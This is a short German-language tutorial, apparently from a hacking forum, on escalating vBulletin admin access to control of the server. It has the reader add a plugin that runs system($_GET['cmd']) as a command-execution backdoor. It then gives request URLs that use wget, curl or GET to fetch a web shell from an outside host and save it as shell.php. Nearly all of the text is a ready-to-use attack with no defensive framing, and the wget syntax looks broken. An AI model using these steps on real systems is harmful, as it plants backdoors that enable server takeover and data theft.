vBulletin Forum Shell Injection

In folgendem Beitrag geht es darum, wie man, wenn man bereits Administrationsrechte hat, vollen oder erweiterten Zugriff, je nach getroffenen Sicherheitsmaßnahmen, bekommt.

Im Administrationspanel von vBulletin musst du via
Plugins -> Plugin Manager -> ein neues Plugin hinzufügen

Produkt

vBulletin

Hook Location

ajax_start

Titel

DEFAULT_PLUG

Execution Order

5

Plugin PHP Code

system($_GET['cmd']);

Plugin Aktiv

Yes

Öffne nun folgende URL: http://example.org/forum/ajax.php?cmd=

Du hast nun drei Optionen die Shell auf den Server zu laden:

1) WGET
2) CURL
3) GET

Für WGET, benutze folgenden Request:

http://example.org/forum/ajax.php?cmd=wget http://example.org/shell.txt shell.txt shell.php

Für CURL:

http://example.org/forum/ajax.php?cmd=curl http://example.org/shell.txt > shell.php

Für GET:

http://example.org/forum/ajax.php?cmd=get http://example.org/shell.txt shell.php

Anschließend kannst du die Shell via http://example.org/forum/shell.php aufrufen.